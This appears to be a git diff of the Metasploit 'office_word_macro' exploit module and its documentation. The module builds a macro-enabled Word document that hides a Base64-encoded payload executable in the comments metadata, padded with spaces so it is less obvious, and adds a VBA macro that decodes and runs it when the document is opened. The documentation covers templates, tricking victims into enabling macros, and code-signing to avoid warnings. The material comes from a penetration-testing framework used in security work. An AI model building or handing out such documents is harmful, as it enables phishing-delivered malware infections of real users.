diff --git a/data/exploits/office_word_macro/[Content_Types].xml b/data/exploits/office_word_macro/[Content_Types].xml
deleted file mode 100644
index adcd5a2cc9..0000000000
--- a/data/exploits/office_word_macro/[Content_Types].xml
+++ /dev/null
@@ -1,2 +0,0 @@
-
-
\ No newline at end of file
diff --git a/data/exploits/office_word_macro/_rels/__rels b/data/exploits/office_word_macro/_rels/__rels
deleted file mode 100644
index fdd8c4f371..0000000000
--- a/data/exploits/office_word_macro/_rels/__rels
+++ /dev/null
@@ -1,2 +0,0 @@
-
-
\ No newline at end of file
diff --git a/data/exploits/office_word_macro/core.xml b/data/exploits/office_word_macro/core.xml
new file mode 100644
index 0000000000..8158becf35
--- /dev/null
+++ b/data/exploits/office_word_macro/core.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+ Nobody
+ 1
+ 2017-05-25T19:12:00Z
+ 2017-05-25T19:28:00Z
+
+
diff --git a/data/exploits/office_word_macro/docProps/app.xml b/data/exploits/office_word_macro/docProps/app.xml
deleted file mode 100644
index b7deadb9e8..0000000000
--- a/data/exploits/office_word_macro/docProps/app.xml
+++ /dev/null
@@ -1,2 +0,0 @@
-
-Normal.dotm1051110Microsoft Office Word011falseTitle1false10falsefalse15.0000
\ No newline at end of file
diff --git a/data/exploits/office_word_macro/docProps/core.xml b/data/exploits/office_word_macro/docProps/core.xml
deleted file mode 100644
index 0e7d44d727..0000000000
--- a/data/exploits/office_word_macro/docProps/core.xml
+++ /dev/null
@@ -1,2 +0,0 @@
-
-Windows User PAYLOADGOESHEREWindows User322017-02-01T20:39:00Z2017-02-02T22:26:00Z
\ No newline at end of file
diff --git a/data/exploits/office_word_macro/template.docx b/data/exploits/office_word_macro/template.docx
new file mode 100644
index 0000000000..7a3244e700
Binary files /dev/null and b/data/exploits/office_word_macro/template.docx differ
diff --git a/data/exploits/office_word_macro/word/vbaData.xml b/data/exploits/office_word_macro/vbaData.xml
similarity index 60%
rename from data/exploits/office_word_macro/word/vbaData.xml
rename to data/exploits/office_word_macro/vbaData.xml
index 18d7c2dc9b..d3b0f6a263 100644
--- a/data/exploits/office_word_macro/word/vbaData.xml
+++ b/data/exploits/office_word_macro/vbaData.xml
@@ -1,2 +1,2 @@
-
\ No newline at end of file
+
\ No newline at end of file
diff --git a/data/exploits/office_word_macro/vbaProject.bin b/data/exploits/office_word_macro/vbaProject.bin
new file mode 100644
index 0000000000..0feb5de89a
Binary files /dev/null and b/data/exploits/office_word_macro/vbaProject.bin differ
diff --git a/data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels b/data/exploits/office_word_macro/vbaProject.bin.rels
similarity index 100%
rename from data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels
rename to data/exploits/office_word_macro/vbaProject.bin.rels
diff --git a/data/exploits/office_word_macro/word/_rels/document.xml.rels b/data/exploits/office_word_macro/word/_rels/document.xml.rels
deleted file mode 100644
index 0767526cf8..0000000000
--- a/data/exploits/office_word_macro/word/_rels/document.xml.rels
+++ /dev/null
@@ -1,2 +0,0 @@
-
-
\ No newline at end of file
diff --git a/data/exploits/office_word_macro/word/document.xml b/data/exploits/office_word_macro/word/document.xml
deleted file mode 100644
index 6a8a649e91..0000000000
--- a/data/exploits/office_word_macro/word/document.xml
+++ /dev/null
@@ -1,2 +0,0 @@
-
-DOCBODYGOESHER
diff --git a/data/exploits/office_word_macro/word/fontTable.xml b/data/exploits/office_word_macro/word/fontTable.xml
deleted file mode 100644
index 43997894d3..0000000000
--- a/data/exploits/office_word_macro/word/fontTable.xml
+++ /dev/null
@@ -1,2 +0,0 @@
-
-
\ No newline at end of file
diff --git a/data/exploits/office_word_macro/word/settings.xml b/data/exploits/office_word_macro/word/settings.xml
deleted file mode 100644
index 2b96121e32..0000000000
--- a/data/exploits/office_word_macro/word/settings.xml
+++ /dev/null
@@ -1,2 +0,0 @@
-
-
\ No newline at end of file
diff --git a/data/exploits/office_word_macro/word/styles.xml b/data/exploits/office_word_macro/word/styles.xml
deleted file mode 100644
index e51ea329dd..0000000000
--- a/data/exploits/office_word_macro/word/styles.xml
+++ /dev/null
@@ -1,2 +0,0 @@
-
-
\ No newline at end of file
diff --git a/data/exploits/office_word_macro/word/theme/theme1.xml b/data/exploits/office_word_macro/word/theme/theme1.xml
deleted file mode 100644
index 9c5cd2b64f..0000000000
--- a/data/exploits/office_word_macro/word/theme/theme1.xml
+++ /dev/null
@@ -1,2 +0,0 @@
-
-
\ No newline at end of file
diff --git a/data/exploits/office_word_macro/word/vbaProject.bin b/data/exploits/office_word_macro/word/vbaProject.bin
deleted file mode 100644
index ec7ea683e1..0000000000
Binary files a/data/exploits/office_word_macro/word/vbaProject.bin and /dev/null differ
diff --git a/data/exploits/office_word_macro/word/webSettings.xml b/data/exploits/office_word_macro/word/webSettings.xml
deleted file mode 100644
index f660c38903..0000000000
--- a/data/exploits/office_word_macro/word/webSettings.xml
+++ /dev/null
@@ -1,2 +0,0 @@
-
-
\ No newline at end of file
diff --git a/documentation/modules/exploit/multi/fileformat/office_word_macro.md b/documentation/modules/exploit/multi/fileformat/office_word_macro.md
index 0542810dbc..d36db9836e 100644
--- a/documentation/modules/exploit/multi/fileformat/office_word_macro.md
+++ b/documentation/modules/exploit/multi/fileformat/office_word_macro.md
@@ -1,13 +1,16 @@
## Description
-This module generates a macro-enabled Microsoft Office Word document. It does not target a specific
-CVE or vulnerability, this is more of a feature-abuse in Office, however this type of
-social-engineering attack still remains common today.
+This module generates a macro-enabled Microsoft Office Word document (docm). It does not target a
+specific CVE or vulnerability, instead it's more of a feature-abuse in Office, and yet it's still a
+popular type of social-engineering attack such as in ransomware.
-There are many ways to create this type of malicious doc. The module injects the Base64-encoded
-payload in the comments field, which will get decoded back by the macro and executed as a Windows
-executable when the Office document is launched.
+By default, the module uses a built-in Office document (docx) as the template. It injects the
+Base64-encoded payload into the comments field, which will get decoded back by the macro and executed
+as a Windows executable when the Office document is launched.
+
+If you do not wish to use the built-in docx template, you can also choose your own. Please see more
+details below.
## Vulnerable Application
@@ -22,58 +25,74 @@ Specifically, this module was tested specifically against:
* Microsoft Office 2016.
* Microsoft Office Word 15.29.1 (161215).
+## Building the Office Document Template
+
+It is recommended that you build your Office document (docx) template from either one of these
+applications:
+
+* Google Docs
+* Microsoft Office Word
+
+**Google Docs**
+
+Google Docs is ideal in case you don't have Microsoft Office available.
+
+Before you start, make sure you have a Gmail account.
+
+Next, to create a new document, please go to the following:
+
+[https://docs.google.com/document/?usp=mkt_docs](https://docs.google.com/document/?usp=mkt_docs)
+
+To save the document as a docx on Google docs:
+
+1. Click on File
+2. Go to Download as
+3. Click on Microsoft Word (.docx)
+
+**Microsoft Office Word**
+
+If you already have Microsoft Office, you can use it to create a docx file and use it as a template.
+
+
## Verification Steps
+**To use the default template**
+
1. ```use exploit/multi/fileformat/office_word_macro```
2. ```set PAYLOAD [PAYLOAD NAME]```
-3. Configure the rest of the settings accordingly (BODY, LHOST, LPORT, etc)
+3. Configure the rest of the settings accordingly (LHOST, LPORT, etc)
4. ```exploit```
5. The module should generate the malicious docm.
+**To use the custom template**
+
+1. ```use exploit/multi/fileformat/office_word_macro```
+2. ```set PAYLOAD [PAYLOAD NAME]```
+3. ```set CUSTOMTEMPLATE [DOCX PATH]```
+4. Configure the rest of the settings accordingly
+5. ```exploit```
+6. The module should generate the malicious docm.
+
## Options
-**BODY** Text to put in the Office document. See **Modification** below if you wish to modify more.
-
-## Demo
-
-In this example, first we generate the malicious docm exploit, and then we set up a
-windows/meterpreter/reverse_tcp handler to receive a session. Next, we copy the docm
-exploit to a Windows machine with Office 2013 installed, when the document runs the
-macro, we get a session:
-
-![macro_demo](https://cloud.githubusercontent.com/assets/1170914/22602348/751f9d66-ea08-11e6-92ce-4e52f88aaebf.gif)
-
-## Modification
-
-To use this exploit in a real environment, you will most likely need to modify the docm content.
-Here's one approach you can do:
-
-1. Use the module to generate the malicious docm
-2. Copy the malicious docm to the vulnerable machine, and edit it with Microsoft Office (such as 2013).
- When you open the document, the payload will probably do something on your machine. It's ok,
- since you generated it, it should not cause any problems for you.
-3. Save the doc, and test again to make sure the payload still works.
-
-While editing, you should avoid modifying the following unless you are an advanced user:
-
-* The comments field. If you have to modify this, make sure to create 55 empty spaces
- in front of the payload string. The blank space is for making the payload less obvious
- at first sight if the user views the file properties.
-* The VB code in the macro.
+**CUSTOMTEMPLATE** A docx file that will be used as a template to build the exploit.
## Trusted Document
By default, Microsoft Office does not execute macros automatically unless it is considered as a
trusted document. This means that if a macro is present, the user will most likely need to manually
-click on the "Enable Content" button in order to run the macro.
+click on the "Enable Content" or "Enable Macro" button in order to run the macro.
Many in-the-wild attacks face this type of challenge, and most rely on social-engineering to trick
the user into allowing the macro to run. For example, making the document look like something
written from a legit source, such as [this attack](https://motherboard.vice.com/en_us/article/these-hackers-cleverly-disguised-their-malware-as-a-document-about-trumps-victory).
-To truly make the macro document to run without any warnings, you must somehow figure out a way to
+To truly make the macro document run without any warnings, you must somehow figure out a way to
sign the macro by a trusted publisher, or using a certificate that the targeted machine trusts.
+If money is not an issue, you can easily buy a certificate on-line:
+[https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html](https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html)
+
For testing purposes, another way to have a certificate is to create a self-signed one using
Microsoft Office's SELFCERT.exe utility. This tool can be found in the following path on
Windows:
diff --git a/modules/exploits/multi/fileformat/office_word_macro.rb b/modules/exploits/multi/fileformat/office_word_macro.rb
index 8c1313b9ce..adf1c9af59 100644
--- a/modules/exploits/multi/fileformat/office_word_macro.rb
+++ b/modules/exploits/multi/fileformat/office_word_macro.rb
@@ -15,8 +15,8 @@ class MetasploitModule < Msf::Exploit::Remote
super(update_info(info,
'Name' => "Microsoft Office Word Malicious Macro Execution",
'Description' => %q{
- This module generates a macro-enabled Microsoft Office Word document. The comments
- metadata in the data is injected with a Base64 encoded payload, which will be
+ This module injects a malicious macro into a Microsoft Office Word document (docx). The
+ comments field in the metadata is injected with a Base64 encoded payload, which will be
decoded by the macro and execute as a Windows executable.
For a successful attack, the victim is required to manually enable macro execution.
@@ -56,64 +56,226 @@ class MetasploitModule < Msf::Exploit::Remote
))
register_options([
- OptString.new("BODY", [false, 'The message for the document body',
- 'Contents of this document are protected. Please click Enable Content to continue.'
- ]),
- OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
+ OptPath.new("CUSTOMTEMPLATE", [false, 'A docx file that will be used as a template to build the exploit']),
+ OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm'])
])
end
+ def get_file_in_docx(fname)
+ i = @docx.find_index { |item| item[:fname] == fname }
- def on_file_read(short_fname, full_fname)
- buf = File.read(full_fname)
-
- case short_fname
- when /document\.xml/
- buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
- when /core\.xml/
- p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe
- b64_payload = ' ' * 55
- b64_payload << Rex::Text.encode_base64(p)
- buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
+ unless i
+ fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
end
- # The original filename of __rels is actually ".rels".
- # But for some reason if that's our original filename, it won't be included
- # in the archive. So this hacks around that.
- case short_fname
- when /__rels/
- short_fname.gsub!(/\_\_rels/, '.rels')
- end
-
- yield short_fname, buf
+ @docx.fetch(i)[:data]
end
+ def add_content_type_extension(extension, content_type)
+ if has_content_type_extension?(extension)
+ update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type)
+ else
+ xml = get_file_in_docx('[Content_Types].xml')
+ types_node = xml.at('Types')
- def package_docm(path)
- zip = Rex::Zip::Archive.new
+ unless types_node
+ fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
+ end
- Dir["#{path}/**/**"].each do |file|
- p = file.sub(path+'/','')
+ child_data = ""
+ types_node.add_child(child_data)
+ end
+ end
- if File.directory?(file)
- print_status("Packaging directory: #{file}")
- zip.add_file(p)
- else
- on_file_read(p, file) do |fname, buf|
- print_status("Packaging file: #{fname}")
- zip.add_file(fname, buf)
+ def has_content_type_extension?(extension)
+ xml = get_file_in_docx('[Content_Types].xml')
+ xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false
+ end
+
+ def add_content_type_partname(part_name, content_type)
+ ctype_xml = get_file_in_docx('[Content_Types].xml')
+ types_node = ctype_xml.at('Types')
+
+ unless types_node
+ fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
+ end
+
+ child_data = ""
+ types_node.add_child(child_data)
+ end
+
+ def update_content_type(pattern, attribute, new_value)
+ ctype_xml = get_file_in_docx('[Content_Types].xml')
+ doc_xml_ctype_node = ctype_xml.at(pattern)
+ if doc_xml_ctype_node
+ doc_xml_ctype_node.attributes[attribute].value = new_value
+ end
+ end
+
+ def add_rels_relationship(type, target)
+ rels_xml = get_file_in_docx('_rels/.rels')
+ relationships_node = rels_xml.at('Relationships')
+
+ unless relationships_node
+ fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
+ end
+
+ last_index = get_last_relationship_index_from_rels
+ relationships_node.add_child("")
+ end
+
+ def add_doc_relationship(type, target)
+ rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
+ relationships_node = rels_xml.at('Relationships')
+
+ unless relationships_node
+ fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.')
+ end
+
+ last_index = get_last_relationship_index_from_doc_rels
+ relationships_node.add_child("")
+ end
+
+ def get_last_relationship_index_from_rels
+ rels_xml = get_file_in_docx('_rels/.rels')
+ relationships_node = rels_xml.at('Relationships')
+
+ unless relationships_node
+ fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
+ end
+
+ relationships_node.search('Relationship').collect { |n|
+ n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
+ }.max
+ end
+
+ def get_last_relationship_index_from_doc_rels
+ rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
+ relationships_node = rels_xml.at('Relationships')
+
+ unless relationships_node
+ fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node')
+ end
+
+ relationships_node.search('Relationship').collect { |n|
+ n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
+ }.max
+ end
+
+ def inject_macro
+ add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject')
+ add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml')
+
+ pattern = 'Override[@PartName="/word/document.xml"]'
+ attribute_name = 'ContentType'
+ scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml'
+ update_content_type(pattern, attribute_name, scheme)
+
+ scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject'
+ fname = 'vbaProject.bin'
+ add_doc_relationship(scheme, fname)
+
+ @docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml }
+ @docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels}
+ @docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin}
+ end
+
+ def get_vbadata_xml
+ File.read(File.join(macro_resource_directory, 'vbaData.xml'))
+ end
+
+ def get_vbaproject_bin_rels
+ File.read(File.join(macro_resource_directory, 'vbaProject.bin.rels'))
+ end
+
+ def get_vbaproject_bin
+ File.read(File.join(macro_resource_directory, 'vbaProject.bin'))
+ end
+
+ def get_core_xml
+ File.read(File.join(macro_resource_directory, 'core.xml'))
+ end
+
+ def create_core_xml_file
+ add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml')
+ add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml')
+ @docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) }
+ end
+
+ def inject_payload
+ p = padding = ' ' * 55
+ p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe)
+
+ begin
+ core_xml = get_file_in_docx('docProps/core.xml')
+ rescue Msf::Exploit::Failed
+ end
+
+ unless core_xml
+ print_status('Missing docProps/core.xml to inject the payload to. Using the default one.')
+ create_core_xml_file
+ core_xml = get_file_in_docx('docProps/core.xml')
+ end
+
+ description_node = core_xml.at('//cp:coreProperties//dc:description')
+ description_node.content = p
+ end
+
+ def unpack_docx(template_path)
+ doc = []
+
+ Zip::File.open(template_path) do |entries|
+ entries.each do |entry|
+ if entry.name.match(/\.xml|\.rels$/i)
+ content = Nokogiri::XML(entry.get_input_stream.read)
+ else
+ content = entry.get_input_stream.read
end
+
+ vprint_status("Parsing item from template: #{entry.name}")
+
+ doc << { fname: entry.name, data: content }
end
end
- zip.pack
+ doc
end
+ def pack_docm
+ @docx.each do |entry|
+ if entry[:data].kind_of?(Nokogiri::XML::Document)
+ entry[:data] = entry[:data].to_s
+ end
+ end
+
+ Msf::Util::EXE.to_zip(@docx)
+ end
+
+ def macro_resource_directory
+ @macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
+ end
+
+ def get_template_path
+ if datastore['CUSTOMTEMPLATE']
+ datastore['CUSTOMTEMPLATE']
+ else
+ File.join(macro_resource_directory, 'template.docx')
+ end
+ end
def exploit
- print_status('Generating our docm file...')
- path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
- docm = package_docm(path)
+ template_path = get_template_path
+ print_status("Using template: #{template_path}")
+ @docx = unpack_docx(template_path)
+
+ print_status('Injecting payload in document comments')
+ inject_payload
+
+ print_status('Injecting macro and other required files in document')
+ inject_macro
+
+ print_status("Finalizing docm: #{datastore['FILENAME']}")
+ docm = pack_docm
file_create(docm)
super
end